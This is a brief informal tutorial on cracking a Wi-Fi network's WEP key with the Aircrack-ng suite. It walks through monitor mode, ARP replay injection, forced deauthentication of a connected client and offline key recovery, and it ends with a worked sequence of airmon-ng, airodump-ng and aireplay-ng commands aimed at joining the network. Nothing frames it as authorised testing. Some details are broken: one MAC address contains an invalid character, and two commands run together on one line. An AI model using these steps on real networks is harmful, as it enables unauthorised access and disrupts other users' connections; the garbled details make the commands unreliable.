wireless hacking...!!

Working:

ARP beacon packets are needed. To get these packets the attacker needs to set its wireless card into monitoring mode and start capturing/injecting packets. Once the key beacon has been captured and enough data is injected/collected, it is now an offline attack to decrypt the captured data and extract the WEP key from it. Once the key is found, you can use that WEP key to join the network.

Requirements:

A client connected to the wireless station/ access point
Wireless card that supports Monitor Mode & Packet Injection

Aircrack-ng Suite (present in BackTrack 5 R1)

Software:

Name: Aircrack-ng

At this point I would recommend to create a text file and note down the values of the various parameters which are obtained by executing the above commands:
Name of the Access Point =

MAC address of the Access Point =

MAC address of the client connected to the Access Point =

Wireless Interface in Monitor Mode =

Channel No. =

airodump-ng --channel --write --bssid

aireplay-ng --arpreplay -e -b -h

aireplay-ng --deauth 10 -a -c

aircrack-ng .cap


Example:


airmon-ng

airmon-ng start wlan0

airodump-ng mon0 airodump-ng --channel 11 --write techhack --bssid 00:19:22:E7:52:67 mon0

aireplay-ng --arpreplay -e techhackwireless -b 00:19:22:E7:52:67 -h 00:3R:17:68:34:11 mon0

aireplay-ng --deauth 10 -a 00:19:22:E7:52:67 -c 00:3R:17:68:34:11 mon0
